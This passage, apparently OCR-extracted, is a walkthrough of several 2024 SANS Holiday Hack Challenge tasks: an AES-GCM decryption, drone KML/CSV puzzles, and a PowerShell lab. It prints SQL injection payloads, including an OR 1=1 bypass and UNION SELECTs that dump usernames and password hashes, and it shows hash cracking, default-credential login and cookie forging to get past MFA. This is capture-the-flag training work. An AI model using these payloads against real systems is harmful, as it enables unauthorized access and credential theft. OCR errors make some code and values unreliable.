https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)To_Hex('None',0)Register('(.%7B32%7D$)',true,false,false)Drop_bytes(0,-32,false)AES_Decrypt(%7B'option':'Base64','string':'rmDJ1wJ7ZtKy3lkLs6X9bZ2Jvpt6jL6YWiDsXtgjkXw%3D'%7D,%7B'option':'Base64','string':'Q2hlY2tNYXRlcml4'%7D,'GCM','Hex','Raw',%7B'option':'Hex','string':'$R0'%7D,%7B'option':'Hex','string':''%7D)&input=SVZydCs5WmN0NG9VZVBaZVFxRnd5aEJpeDhjU0NJeHRzYStsSlprTU5wTkZCZ29IZUpsd3A3M2wyb3lFaDFZNkFmcW5mSDdnY1U5WWZvdjZ1NzBjVUEyL093Y3hWdDdVYmRuMFVEMmtJbU5zY2xFUTlNOFBwbmV2QlgzbVhsVzJRbkg4K1ErU0M3SmFNVWM5Q0l2eEIySFlRRzJKdWpRZjZza3BWYVBBS0d4ZkxxRGorMlV5VEFWTG9lVWxRamMxOHN3WlZ0VFFPN1p3ZTZzVENZbHJ3N0dwRlhDQXVJNkV4MjlnZmVWSWVCN3BLN000a1pHeTNPSWFGeGZUZGV2Q29UTXdrb1B2SnVSdXBBNnlicDM2dm1MTE1YYUFXc3JESFJVYktmRTZVS3ZHb0M5ZDV2cW1LZUlPOWVsQVN1YWd4akJK
https://en.wikipedia.org/wiki/Galois/Counter_Mode

Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding") ;
cipher.init(Cipher .DECRYPT_MODE, this.secretKeySpec, new GCMParameterSpec (128, this.iv));
byte[] doFinal = cipher.doFinal (Base64.getDecoder() .decode (encryptedData)) ;
return new String(doFinal, StandardCharsets.UTF 8) ;
} catch (Exception e) {
System.err.println ("Decryption failed: " + e.getMessage()) ;
return null;

}

public static void main (String[] args) {
try {

String encrypted =
"IVrt+9Zct4oUePZeQqFwyhBix8cSCIxtsa+lJZkMNpNFBgoHeJlwp73120yEh1Y6AfqnfH7gcU9Y foveu70cUA2 /OwexVt7Ubdn0UD2k ImNsc 1EQ9M8Ppne vBX3m X 1W
20nH8+Q+SC7JaMUc9CIvxB2HYQG2 JujQf 6skpVaPAKGxfLgDj+2UyTAVLoeU1Qj cl 8swZVtTQO7 Zwe 6s TCY lrw7GpFXCAul 6Ex29g feVIeB7pK7M4kZGy30IaFx fTdev
CoTMwko PvJuRupA 6ybp 3 6vmLLMXaAWsr DHRUbK fE 6UKvGoC 9d5 vgmKe I0 9elASuagxjBJ" ;

String keyBase64 = "rmDJ1lwJ7ZtKy31lkLs6X9bZ2Jvpt6jL6YWiDsXtg]jkXw=";

String ivBase64 = "Q2hlY2tNYXRlcml4";

byte[] keyBytes = Basebt4.getDecoder ().decode(keyBasebt4) ;
SecretKeySpec keySpec = new SecretKeySpec (keyBytes, "AES");
byte[] ivBytes = Base64.getDecoder() .decode (ivBaseb64) ;

AESDecryption aesDecryption = new AESDecryption(keySpec, ivBytes) ;
String decrypted = aesDecryption.decryptData(encrypted) ;
System.out.println ("Decrypted text: " + decrypted) ;

} catch (Exception ex) {
ex.printStackTrace () ;

Getting a Java environment set up is a somewhat tall order for me. Luckily, | just learned about the website OneCompiler that
compiles and runs code from a browser. Running the code here produced the same output as the Python script.

EDITOR CHALLENGES ORGS COMPANY &MORE LOGIN

4336b%9xy 4 NEW JAVA v RUN b

STDIN
-GCMParameterSpec;

-SecretKeySpec;
java.nio.charset.StandardCharsets;

s AESDecryption {
Output:

Decrypted text: CREATE TRIGGER DeleteIfInsertedSpecificValue
AFTER INSERT ON Normallist
FOR EACH ROW
BEGIN
DELETE FROM Mormallist WHERE Item = 'KGfbOvdAu/4EWMN@bpo:
END;

tKeySpec = secretKeySpec;
iv;

String decryptData(String encryptedData) {

Cipher cipher = Cipher.getInstan "AES/GCM/NoPaddin, 3
cipher.init(Cipher.DECRYPT_MODE, t© .secretKeySpec, new GCMParameterSpec(

] doFinal = cipher.doFinal(Base64.getDecoder().decode(encryptedData));
urn new String(dofFinal, StandardCharsets.UTF_8);

(Exception e) {
err.println("Decryption failed: " + e.getMessage());
nL H

id main(String[] args) {

| String encrypted - "IVrt+97ctdollePZeQqFwyhBixBcSCIxtsa+1IZkMNpNFBgoHellwp73120yE
String keyBase6d rmDI 1wl 77 tKy 31kl s6X9b72Ivpt6jL6YWIDsXtgjkXw=";
String ivBase64 Q2h1Y2tNYXR1lcmla”;

1 keyBytes = Base64.getDecoder().decode(keyBase64);
SecretKeySpec keySpec SecretKeySpec(keyBytes, "AES");
] ivBytes = Base64.pgetDecoder().decode(ivBase64);

AESDecryption aesDecryption = new AESDecryption(keySpec, ivBytes);
String decrypted sDecryption.decryptData(encrypted);
tem.out.println("Decrypted text: + decrypted);
(Exception ex) {
x.printStackTrace();

https://onecompiler.com/java/4336b9rxy

Key Learnings
e How to decompile and analyze .APK files with Apktool and Jadx.
e How to convert the new Android app format AAB to APK.
e How to analyze and load an APK into a virtual device in Android Studio.
e How to decrypt AES ciphertext using Python, Cyberchef, and Java.
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Act 2: Drone Path#* % % % %

Help the elf defecting from Team Wombley get invaluable, top secret intel to Team Alabaster. Find Chimney Scissorsticks, who
is hiding inside the DMZ.

© Goals
Find hidden messages in the drone flight logs in KML format.

+»Side Note
A DMZ (Demilitarized Zone) in computer networking is like a buffer zone that separates a company's public services (like
websites and email servers) from its private network. This separation helps protect the private network from hackers.
8 Solution Steps for Silver
When we open the terminal, we are presented with a web interface. From the hamburger menu (3 lines at the top), open ,
, and there is a link to a KML file, |fritj olf—Path.kmll. There is also a link to a login page.

Welcome to the Elf Drone Drone Workshop Login
Workshop! Login Below
Upload your drone logs for other analysts to analyze! Username: - B ‘

Our elves are working around the clock to get toys ready for Santa's sleigh. Avalla ble Fl Ies

Password: | ‘
|

Only verified pilots have access to-the logs so remember to authenticate fritjolf-Path.kml
yourself. 3 SO0l

Background Info: KML
Keyhole Markup Language (KML) is an XML-based format that stores geographic data and related content. KML files can
contain points, lines, polygons, imagery, graphics, pictures, attributes, and HTML. You can view KML files in free applications
like Google Earth and ArcGIS Explorer.

Import the KML file into Google Earth to find the path spelling [cuMbrop1].
‘ Earth Q =

4+ New

Start exploring

Google Earth provides the latest data and imagery for compelling mas
(@ Al projects stories

[ Create a new project D s] Import file t

Using [eritjol£|/[cumMpropi|to login, we get new pages to explore.

=<9

- Profile Page
Avatar
-
Info
Username: fritjolf
b Blo: Secret project is underwa possible

Search for a Drone

Search

Drone Details Note to self, re

/
Fritjolf's profile page has a CSV file which has a whopping 187 columns! Al tools tell me they are drone telemetry data which is
no surprise given our context. The web-based version of Google Earth doesn't allow importing of csv files. The free Google
Earth Pro does, but it needs to installed which | preferred not doing. And besides, | live for finding workarounds (even if they do
take longer sometimes)!

Converting CSV to KML: First, we need to extract the coordinates. We can use the cut tool to extract the longitude, latitude,
and height (columns 5-7):

% cut -f5-7 -d, Preparations-drone-name.csv > Prep coords.csv

| found an online tool, https://convertcsv.com/csv-to-kml.htm, that converts CSV files to KML. Use these settings in step 4:
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Step 4: Generate output

For each line in the CSV, identify the field position (starting at 1) for this information:
Name Field # Description Field #

Latituds Fisld # [ 2 |
Longitude Fieia # [1] Altitude Field & E

We can now upload the data into Google Earth like we did earlier. Using the oddly satisfying feature for each point, we

see that the roads/trees .

Untitled placemark

Untitled placemark ©
o

Untitled placemark 5

@ Sta W . 5 = e P = - |
Searching for this drone on the challenge website, we get another csv file and hints that refer to LONGitude and LATitude.

Drone Details
. Name: ELF-HAWK, Quantity: 40, Weapons: Snowball-launcher

Comments for ELF-HAWK

e These drones will work great to find Alabasters snowball warehouses. |

have hid the activation code in the-dataset ELF-HAWK-dump.csv. We
need to keep it safe, for now it's under /files/secret.

e  We needtomake sure we have enough of these drones ready for the

upcoming operation. Well done on hiding the activation code in the

dataset. If anyone finds it, it will take them 3 time or forever to
carve the data out, preferably the]LATTER.

Silver Answer
Plotting the lat/long (col E + F) in Excel using scatter with smooth lines, it prints out the word: _

M sutoswe @o) [F] D~ S ELF-HAWK-dump (8 v s . N ;
Admin Code Verification '

File  Home Insert Pagelayout Formulas Data Review View Automate Help

Gt i [X v B 1 Console
r Submit your code for drone fleet
3/7/2024  12:16.5 0m0.0s 0| 19.67188 59.1: ( administration

DroneDataAnalystExperth,

Success: Code accepted! You may now steer the fleet of drones. You are
officially certified as a Drone Data Analyst Expert!

= NN PR

Uz SRSRTIgIRAY U O7I00] 137 701Z] Qy U

B Alternative Solution Steps for Silver
You could also use other spreadsheets (OpenOffice Calc, MacOS Numbers), online tools (example), or Python's matplotlib.

—
graphréader.com /plotter  Generate simpl rPI rom JSON, CSV etc.

¥=026. 566015625

100 200 300 400 500 600 700 800 900 1000

Use this axis zoom |
X-dataused:  [10.671875,19.671875,19.671875,19.671875,19.671875,19.671875,19.671875,19.671875,19.671875,10.671875,19.671875,20.864
Y-dataused:  [59.128125,53.450375,47.790625,42.121875,36.453125,30.784375,25.115625,19.446875,13 . 7761249999999,8.109375,6.109375,8

Plot Data insert your X-v scatter data. Various formats accepted: JSON, CSV, simple 1 or 2-rows/cols, paste from spreadsheet efc,
10.671875,59 128125 Process

19 671875.53 453375
19.671875.47 790625

Plot Styling  rormat axis scaiing, markers ana labels. Leave empty for auto.

y-max: 250 x-max: 1550 [ Log y-axis [ yExpticks Linestyle: |Solid v | Pointstyle: |Circle v |
y-min: = -20796 x=min: 1 O Log x-axis [ xExplticks Line width: 2 Point radius: 3

Title: O Grid lines. Chart size x: 1500

y-label: x [ Swapxydaia Chartsizey: 350

label:
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8 Solution Steps for Gold
Chimney Scissorsticks gives a hint to solve the gold challenge:

But I need you to dig deeper. Make sure you’re checking those file structures carefully, and remember—rumor has
it there is some injection flaw that might just give you the upper hand. Keep your eyes sharp!

Background Info: SQLi

SOL injection (SQLi) is a way users can trick a website into giving them unintended access to its database. They do this by
typing special code into a form field, which the website then mistakenly runs as a command. This can let the attacker see,
change, or delete the information stored in the database.
For this, a common SQL injection can be used. [jamesm' OR 1=1; --|

o : this is just a random search with the single quote E| closing the search term.

. : adding a condition that is always true that would trigger a successful match.

° E: the semicolon Bfinishes query statement, and two dashes Bturns the remainder of the query into a comment.

The injection makes the webpage return 3 new drone names: [Pigeon-Lookalike-v4|, [F1yingZoomer|, and [zappex|.

Elf Drone WOFkShOp |Pigeon-Looka|ike-v4 I Search

Drone Details

Search for a Drone

e Name: Pigeon-Lookalike-v4, Quantity: 20, Weapons: Surveillance Camera
Drone Details Comments for Pigeon-Lookalike-v4
. Name: ELF-HAWK, Quantity: 40, Weapons: Snowball-launcher e Thisisa'great drone for.suryeillance, but we need to keep it out of the
. NameQuanm;: 20, Weapons: Surveillance Camera rain.
o Name Quantity: 4, Weapons: Snowball-Dropper e | cant believe we are using pigeons for surveillance. If anyone finds out,
* ames RlanuiSlieapons: CamrotSpike there will most likely be'a conspiracy theory about it.
e | heard a rumor that there is something fishing with some of the files.
Comments for Zapper A _ o
There was some talk about onlyf TRUE Earvers would find secrets and that
. This is sort of primitive, but it works! FALSE bnes would never find it.
I\FIying\Z\g&m@\d I Search |Zapper I Search
Drone Details Drone Details
. Name: FlyingZoomer, Quantity: 4, Weapons: Snowball-Dropper e Name: Zapper, Quantity: 5, Weapons: CarrotSpike
Comments for FlyingZoomer Comments for Zapper
e This drone is perfect for dropping snowballs on unsuspecting targets. | This is sort of primitive; but it works!

A comment from the [pigeon-Lookalike-v4|drone appears to be a clue since and are capitalized.
Background Info: TRUE/FALSE
o are often associated with |1[and |§| respectively in the Boolean data type. Each would considered one bit.
e With a sequence s and |§|s, it's common to convert this to letters/words of using ASCIl or UTF-8 encoding by grouping
every 8 bits into 1 byte.
Here is a bash one liner to extract all the TRUE|FALSE and convert them to 1s and Os.

| egrep -o 'TRUE|FALSE' ELF-HAWK-dump.csv| sed 's/TRUE/1/' | sed 's/FALSE/O0/' | tr -d '"\n' > binary.txt

Here's the breakdown:
e |egrep -o 'TRUE|FALSE' ELF-HAWK-dump.csv|: This extracts just the and strings from the CSV file.
o [sed 's/TRUE/1/' | sed 's/FaLsE/0/'| These replace [rRuE| with [t and [FaLsE] with [o].
e |tz -d '"\n' > binary.txt| This removes all the carriage returns and writes the output to the file, .
| asked an Al tool for Python code to convert every 8 bits to a character, then save the output to a file.

def binary to ascii(file path, output path) :
try:
with open(file path, 'r') as file:
binary data = file.read().strip ()

# Split the binary string into 8-bit chunks

ascil characters = []

for i in range(0, len(binary data), 8):
byte = binary data[i:1+8]
# Convert the binary byte to an integer, then to a character
ascii characters.append (chr (int (byte, 2)))

ascii string = ''.join(ascii characters)# Join the characters into a string
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with open(output path, 'w') as output file:
output file.write(ascii string) # Write the ASCII string to the output file
except Exception as e:
print (f"An error occurred: {e}")

input file = 'binary.txt' # Replace with your input file name
output file = 'ascii output.txt' # Replace with your desired output file name
binary to ascii(input file, output file) # Perform the conversion

Gold Answer

We get an ASCII picture of a drone. _, relating the carving of data like the carving of a turkey. &

4 020 <@ 0aa +a @pe —+
485 4 *% 4=+ 144 60 0B 00 1

- 630 40 03 33 €0 aG@ 0F -
it # Ga@ G 66 Gae #%
e 00 30+ 4 00 353 69 ~—

8 Alternate Solution Steps for Gold Using CyberChef

Recipe ~ B E nput + 0O =
" " ; ’ g
S e e
N i R [5],05D.longitude,05p. latitude, 050 height [ft],0SD.heightHax
Builtin reqexes Reaex
TRUE | FALSE [£t],05D.vpsHeight [ft],05D.altitude [ft],0SD.mileage
User defined [t],050.hSpead [MPH],0SD.hSpeedax [HPH],0SD.xSpeed
, [1PH],05D.xSpeedMax [MPH],0SD.ySpeed [HPH],O0SD.ySpeedHax ,
[MPH],08D. zSpeed [HPH],05D. zSpeedMax
. : [MPH],05D. pitch,05D. roll,05D. yaw,05D. yau
Case insensitive * and § match at newlines ] Dot matchesall [366],05D. direct ion0fTravel,05D. flycState, 05D. FlycCommand, 0SD. £
Lightaction,0sD. gpshium,0SD. gosLevel,050.15GPSUsed, 050, nonGPsCau  Name:  ELF-HAWK-dump.c
Outout format se,05D.droneType, 0SD. 1sSwavelork ,05D. naveError, 0SD. goHomeStatus sv
[ Unicode support  [] Astral support  [] Display total List matches = 312552 = 3272 Tr Rau B «

Output BD®:

Spaces Carriage returns (\r) Line feeds (\n) Tabs

*-*#11G88ea06600008
- HE0000E" 04608

T

T EEee™ " @aaen

Form feeds (\f) O Full stops

Find / Repla:eo -~

Find

PG+ QB

SIMPLE STRING ~ Global match

FAL..
[ case insensitive Multiline matching [ Dot matches all / VY Nl VAR \|
I I I O A N N A N A B I R B I
W I U Y
Find / Repla:ee ~ | .
|
Find Replace |
TRUE SIMPLE STRING ~ 1 & Global match |
|
- . \
[ case insensitive Multiline matching [ Dot matches all
From Einaryo &
Delimiter Bvte Lenath
Space 8

Breakdown of the recipe:
1. Load ELF-HAWK-dump.csv file into CyberChef.
. Add the Regular expression|operation to extract strings. Select for the output format.
Add the Remove whitespace|operation to remove carriage returns.
Add the operation to replace [ with |§|
Add the operation to replace [T with .
Add the operation to convert every || bits to letters.

2024 SANS Holiday Hack Report by James Mar 31



»Side Note
We can perform an additional SQL injection attack called an SOL injection UNION attack. This allows us to query other tables
in the database. is a common table with [use rname| and [password| being common columns for it.
| ' UNION SELECT username,password,l from users--
From this attack, we get the following data returned:

Name: brynne, Quantity: 2£fd03c8eab42a7fd85cadebbccl3db5ca, Weapons: 1
Name: filo, Quantity: 3c3a4f722ec77cl712941003443a4d83, Weapons: 1
Name: fritjolf, Quantity: 2bb7ab7713cc012f02eb03c95f6e4443, Weapons: 1
Name: lira, Quantity: 9eb6cl3blbl8bc785ffb84d977bf5499, Weapons: 1
Name: pip, Quantity: e54efff9e6258bef3eb35f093e3bael0, Weapons: 1
Name: sprigg, Quantity: 4f7f1b7c49fa2b0cc22e2d2599f1f2e5, Weapons: 1
Name: tylwen, Quantity: b9af6f935826aela89%ecba72476fbcba, Weapons: 1

Sites like crackstation.net have precomputed hashes for people to search on. From there, pip's hash was found to be
[RumbleTnTheJungle| (Boxing reference). With the password, | could log into his account and pull his profile:

Profile Page

Avatar

Info

Username: pip

Bio: Pip is a master of drone delivery, programming routes with such precision that
packages arrive exactly on.the second they are expected. He has a large collection
of flags, impressive!

After poking around more, | found I could get everyone's bio's using this SQLi Union attack:
| ' UNION SELECT username,bio, 1l from users--

Key Learnings

e How to use KML files to plot coordinates.

e How to convert CSV files to KML.

e How to plot latitude and longitude coordinates on a chart.

e How to perform SQL Injection attacks to extract additional data from a backend database.

e How to extract, convert, and decode TRUE/FALSE to extract a secret message using Bash, Python, and Cyberchef.

Act 2: PowerShell % % % % %

Team Wombley is developing snow weapons in preparation for conflict, but they've been locked out by their own defenses.
Help Piney with regaining access to the weapon operations terminal.

© Goals
Learn PowerShell while regaining access to the weapon operations terminal.

i Key Hints

e | overheard some of the other elves talking. Even though the endpoints have been redacted, they are still operational.
This means that you can probably elevate your access by communicating with them. | suggest working out the
hashing scheme to reproduce the redacted endpoints. Luckily one of them is still active and can be tested against. Try
hashing the token with SHA256 and see if you can reliably reproduce the endpoint. This might help, pipe the tokens to
Get-FileHash -Algorithm SHA256.

e They also mentioned this lazy elf who programmed the security settings in the weapons terminal. He created a
fakeout protocol that he dubbed Elf Detection and Response "EDR". The whole system is literally that you set a
threshold and after that many attempts, the response is passed through... | can't believe it. He supposedly
implemented it wrong so the threshold cookie is highly likely shared between endpoints!

Background Info: PowerShell
PowerShell is a tool created by Microsoft for automating tasks on systems running Windows, Linux, and macOS. It allows
users to write scripts and use commands to manage and control their systems more easily and efficiently.
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0 Solution Steps for Silver
1) There is a file in the current directory called 'welcome.txt. Read the contents of this file

PS /home/user> Get-Content -Path ./welcome.txt

System Overview

The E1f Weaponry Multi-Factor Authentication (MFA) system safeguards access to a classified armory containing
elf weapons. This high-security system is equipped with advanced defense mechanisms, including canaries, retinal
scanner and keystroke analyzing, to prevent unauthorized access. In the event of suspicious activity, the system
automatically initiates a lockdown, restricting all access until manual override by authorized personnel.

Lockdown Protocols

When the system enters lockdown mode, all access to the armory is frozen. This includes both entry to and
interaction with the weaponry storage. The defense mechanisms become active, deploying logical barriers to
prohibit unauthorized access. During this state, users cannot disable the system without the intervention of an
authorized administrator. The system logs all access attempts and alerts central command when lockdown is
triggered.

Access and System Restoration

To restore access to the system, users must follow strict procedures. First, authorized personnel must identify
the scrambled endpoint. Next, they must deactivate the defense mechanisms by entering the override code and
presenting the required token. After verification, the system will resume standard operation, and access to
weaponry 1is reactivated.

»Side Notes: PowerShell basics and tmux

o is an alias for[cet-content|. Also, the is optional.
e The button autocompletes filenames and commands. A fast way to type the above is .

e To go back in the command history, you can simply press the up arrow
e The session is using tmux, a terminal multiplexer. To scroll up to see the buffer, press then release, then

press the [pageup|. To exit, press once and wait a couple seconds.

e If you're in Windows/Linux, to paste, press |ctrl + shift + vl. To copy, |ctrl + insertlorright click with your mouse
and click copy (|ctrl + shift + c|opens Devlools). In MacOS, [command + c/v|works for copying/pasting.
2) Geez that sounds ominous, I'm sure we can get past the defense mechanisms.

We should warm up our PowerShell skills.
How many words are there in the file? 180

Background Info: Measure-Object and pipelines
e Measure-Object. Calculates the numeric properties of objects, and the characters, words, and lines in string objects,
such as files of text.
e The pipe |I| is a powerful feature in PowerShell (and Bash) that allows for chaining commands by passing the output of
one command as input to another.

PS /home/user> Get-Content ./welcome.txt | Measure-Object -word

Lines Words Characters Property

180

3) There is a server listening for incoming connections on this machine, that must be the weapons terminal. What port is it
listening on? 1225

Background Info: Netstat
netstat is not a PowerShell command but rather a Windows one that displays various network related information.

PS /home/user> netstat -a
Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 localhost: 1225 0.0.0.0:* LISTEN
tcpb 0 0172.17.0.10:43698 52.188.247.147:443 ESTABLISHED
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 2 [ ACC ] STREAM LISTENING 48609417 /tmp/dotnet -diagnostic-272-6587007-socket
unix 2 [ ACC ] STREAM LISTENING 48608242 /tmp/CoreFxPipe PSHost.DB469722.272.None.pwsh
unix 2 [ ACC ] STREAM LISTENING 48585576 /tmp/tmux-1050/default
unix 3 [ ] STREAM CONNECTED 48588524 /tmp/tmux-1050/default
unix 3 [ 1] STREAM CONNECTED 48588878
+Side Note

PowerShell has its own command of showing listening ports, [Get-NetTCPConnectionl, but it's not available in this session.
4) You should enumerate that webserver. Communicate with the server using HTTP, what status code do you get?
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Background Info: Invoke-WebRequest
The |Invoke—WebRequest| cmdlet is like curl sending HTTP and HTTPS requests to a web page or web service. It parses the

response and returns collections of links, images, and other significant HTML elements. Reference

PS /home/user> Invoke-WebRequest -Uri "http://localhost:1225"
Invoke-WebRequest: Response status code does not indicate success: 401 (UNAUTHORIZED) .

+»Side Note
. is an alias to [Invoke-WebRequest|, and [-uri| can be omitted if the URL is the first argument.
5) It looks like defensive measures are in place, itis protected by basic authentication.

Try authenticating with a standard admin username and password.
First create a credential object with as credentials, and then make the request using that object.

PS /home/user> $cred = New-Object System.Management.Automation.PSCredential ("admin", (ConvertTo-SecureString
"admin" -AsPlainText -Force))

PS /home/user> iwr http://localhost:1225 -Credential $cred -AllowUnencryptedAuthentication -outfile homepage
PS /home/user> gc ./homepage

<html>

<body>

<pre>

Q E1f MFA webserver? 2]
*% Grab your tokens for access to weaponry si

*, Warning! Sensitive information on the server, protect at all costs. &

», Basic obfuscation and evasion tactics deployed x4

Current endpoints

<a href="http://localhost:1225/endpoints/1">Endpoint 1</a>
<a href="http://localhost:1225/endpoints/2">Endpoint 2</a>

. ..<snipped>

<a href="http://localhost:1225/endpoints/50">Endpoint 50</a>
</pre>

</body>

</html>

6) There are too many endpoints here.

Use a loop to download the contents of each page. What page has 138 words?

When you find it, communicate with the URL and print the contents to the terminal.

With help of Al tools, | got the following script to loop through all the URLs and find the page with 138 words:

PS /home/user> for ($i = 1; $i -le 50; $i++) {
$response = iwr "http://localhost:1225/endpoints/$i" -Credential S$cred -AllowUnencryptedAuthentication
$wordCount = ($response.Content -split '\s+') .Count
if ($wordCount -eq 138) {

Write-Output "Found page with 138 words: $url"

Write-Output "Page Content:"

Write-Output $response.Content

Break }}
Found page with 138 words: http://localhost:1225/endpoints/13
Page Content:
<html><head><title>MFA token scrambler</title></head><body><p>Yuletide cheer fills the air,<br> A season of
love, of care.<br> The world is bright, full of light,<br> As we celebrate this special night.<br> The
tree is trimmed, the stockings hung,<br> Carols are sung, bells are rung.<br> Families gather, friends
unite, <br> In the glow of the fire’s light.<br> The air is filled with joy and peace,<br> As worries
and cares find release.<br> Yuletide cheer, a gift so dear,<br> Brings warmth and love to all near.<br>
May we carry it in our hearts, <br> As the season ends, as it starts.<br> Yuletide cheer, a time to
share, <br> The love, the joy, the care.<br> May it guide us through the year,<br> In every laugh, in
every tear.<br> Yuletide cheer, a beacon bright,<br> Guides us through the winter night </p><p> Note to
self, remember to remove temp csvfile at http://127.0.0.1:1225/token overview.csv</p></body></html>

+Side Note
Like we saw in Elf Minder, here's a "mistake" where a developer made a reminder for themselves to do something but did not.
7) There seems to be a csv file in the comments of that page.
That could be valuable, read the contents of that csv-file!

PS /home/user> iwr http://localhost:1225/token overview.csv -Credential $cred -AllowUnencryptedAuthentication -
outfile token overview.csv
PS /home/user> gc ./token_overview.csv

file MD5hash, Sha256 (file MD5hash)

048861 64e5140175bafe599b7 flcacc8, REDACTED
664£52463ef97bcd1729d6del 028e41le, REDACTED
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. ..<snipped>
5f8dd236£f862£4507835b0e418907ffc, 4216B4FAF4391EE4D3EOEC53A372B2F24876ED5D124FEQO8E227F84D68 7TATEQ
6C

# [*] SYSTEMLOG

# [*] Defence mechanisms activated, REDACTING endpoints, starting with sensitive endpoints
# [-] ERROR, memory corruption, not all endpoints have been REDACTED

# [*] Verification endpoint still active

# [*] http://127.0.0.1:1225/tokens/<sha256sum>

# [*] Contact system administrator to unlock panic mode

# [*] Site functionality at minimum to keep weapons active

This has 50 file_MD5hash values (tokens). And thanks to a memory corruption, one value was not REDACTED.
+»Side Note
The file_MD5hash values are tokens issued by the server to clients as they log in. As we'll see in the next questions, this token
is to be set as a cookie. And from the URL above in cyan, the token's SHA256 hash is to be set in the URL path after .
This multi-layer security ("defense in depth") makes it harder for attackers to gain unauthorized access.
8) Luckily the defense mechanisms were faulty!
There seems to be one api-endpoint that still isn't redacted! Communicate with that endpoint!
Using SHA256 hash of the token with the URL above, we get an error saying the cookie, token, is missing.

PS /home/user> iwr http://localhost:1225/tokens/4216B4FAF4391EE4D3EOEC53A372B2F24876ED5D124FEQ8E227F84D68 7ATE06C
-Credential $cred -AllowUnencryptedAuthentication

StatusCode : 200

StatusDescription : OK

Content : <hl>[!] ERROR: Missing Cookie 'token'</hl>
RawContent : HTTP/1.1 200 OK

<snipped>

9) It looks like it requires a cookie token, set the cookie and try again.
Adding the cookie with its value of the token into the headers, we are given the path to use it at, [nfa validate| The code
[1733370550.2176185| as the |nref] link is the MFA token.

PS /home/user> iwr
http://localhost:1225/tokens/4216B4FAF4391EE4D3EOEC53A372B2F24876ED5D124FEQ8E227F84D687ATEO6C -Credential $cred

-AllowUnencryptedAuthentication -Headers @{'"Cookie" = "token=5f£8dd236£862£4507835b0e418907£ffc"}
StatusCode : 200
StatusDescription : OK
Content : <hl>Cookie 'mfa code', use it at <a href="'1733370550.2176185"'>/mfa validat

e/4216B4FAF4391EE4D3EOECS53A372B2F24876ED5D124FE08E22 7F84D687ATE06 C</a></hl

Even though the above give us the , it doesn't trigger the answer. We need to have it output it specifically:

PS /home/user> (iwr
http://localhost:1225/tokens/4216B4FAF4391EE4D3EOEC53A372B2F24876ED5D124FE08E227F84D687ATE06C -Credential $cred
-AllowUnencryptedAuthentication -Headers @{'"Cookie" = "token=5f8dd236£862£f4507835b0e418907£ffc"}) .Content
<hl>Cookie 'mfa code', use it at <a

href='1735511983.754449"'>/mfa validate/4216B4FAF4391EE4D3EOEC53A372B2F24876ED5D1 24FE08E227F84D687ATE06C</a></hl>

+»Side Notes: Alternate Cookie Setting and MFA
e You could also set cookies in a web session object, butit's a bit more complicated.

$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession

$session.Cookies.Add( (New-Object System.Net.Cookie ("token",
"5£8dd236£862£450783500e418907 ffc", "/","localhost"))

iwr http://localhost:1225/tokens/4216B4AFAF4391EE4D3EOEC53A372B2F24876ED5D124FEQ08E227F84D687ATEQ6C —
Credential $cred -AllowUnencryptedAuthentication -WebSession $session

e The code received is an MFA (Multi-Factor Authentication) token. MFA is a security process that requires you to
provide two or more verification methods to access your account. This usually includes something you know (like a
password), and something you have (like a phone to receive a text message or an authentication app) or something
you are (like a fingerprint). This way, even if someone steals your password, they still can't access your account
without the second form of verification.

10) Sweet we got a MFA token! We might be able to get access to the system.

Validate that token at the endpoint!

After obtaining our MFA token, we want to test to see if it works. We add the MFA token as additional cookie in our request, but
we get an error that the timeout is 2 seconds. The timeout is a security measure to prevent attackers from stealing them.
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PS /home/user> iwr
http://localhost:1225/mfa validate/4216B4FAF4391EE4D3EOEC53A372B2F2487 6EDSD124FE08E227F84D687A7TE06C -Credential

$cred -AllowUnencryptedAuthentication -Headers @{ "Cookie" = "token=5£8dd236£862f4507835b0e418907ffc ;
mfa token=1733370550.2176185"}
StatusCode : 200
StatusDescription : OK
Content : <hl>[!] System currently in lock down</hl><br><hl>[!] Failure, t
oken has expired. [*] Default timeout set to 2s for security rea
sons</hl>

To speed things up, we need to obtain the MFA token and perform the validation in one command. The following extracts the

MFA code using the properties of the response object.

PS /home/user> (iwr
http://localhost:1225/tokens/4216B4FAF4391EE4D3EOEC53A372B2F24876ED5D124FEQ8E227F84D687ATEO6C -Credential $cred
-AllowUnencryptedAuthentication -Headers @{"Cookie" = "token=5f£8dd236£862f4507835b0e418907£ffc"}) .Links .href
1735512478.148906

| assign this to a variable, for one command. | append a second command using [;] which does the iwr request with
the MFA token in the cookie. This gives us the Base64 flag.

PS /home/user> $Smfa token = (iwr
http://localhost:1225/tokens/4216B4FAF4391EE4D3EOEC53A372B2F24876ED5D124FEQ08E227F84D687ATE06C -Credential $cred
-AllowUnencryptedAuthentication -Headers @{"Cookie" = "token=5f£8dd236£862f4507835b0e418907£ffc"}) .Links .href ;
(iwr http://localhost:1225/mfa validate/4216B4FAF4391EE4D3EOEC53A372B2F24876ED5D1 24FEQ8E227F84D687ATEQ6C -
Credential $cred -AllowUnencryptedAuthentication -Headers @{ "Cookie" = "token=5f8dd236£f862£4507835b0e418907ffc
; mfa token=$mfa token"}) .content

<hl>[+]

Success</hl><br><p>Q2 9y cmVjdCBUb2 t1biBzdXBwbG11ZCwgeW 91 IGF yZ SBncmFudGVkIGFEF] Y2VzcyB0byB0aGUgc25vdyBjYW5ub2 4gdGVyb
WluYWwulEhl cmUgaXMgeW 91 ci BwZz XJ zb2 ShbCBwY XNz d2 9yZCBmb3 IgYWN j Z XNz 01 BTbm9 3T GVv cGFyZ DI SZWFk eUZ ve kFj dG 1vbg==</p>

11) That looks like base64! Decode it so we can get the final secret!

| used Al tools to tell me how to Base64 decode using PowerShell: (Bash would simply be |echo <base64 string> | base64 —d|)

PS /home/user>

[System. Text.Encoding]: :UTF8 .GetString ([System.Convert] : :FromBase64String (" Q2 9ycmVjdCBUb2t1biBzdXBwbGl1ZCwgeW9lI
GFyZSBncmFudGVKIGF jY2VzcyBObyB0aGUgc25vdyB]j YW5ub24 gdGVybWluYWwuIEhlcmUgaXMgeW91lciBwZXJzb25hbCBwYXNzd29yZCBmb3 IgY
WNJ ZXNzOiBTbm93T GVvcGFy ZD JSZWFkeUZvckF jdGlvbg==") )

Correct Token supplied, you are granted access to the snow cannon terminal. Here is your personal password for
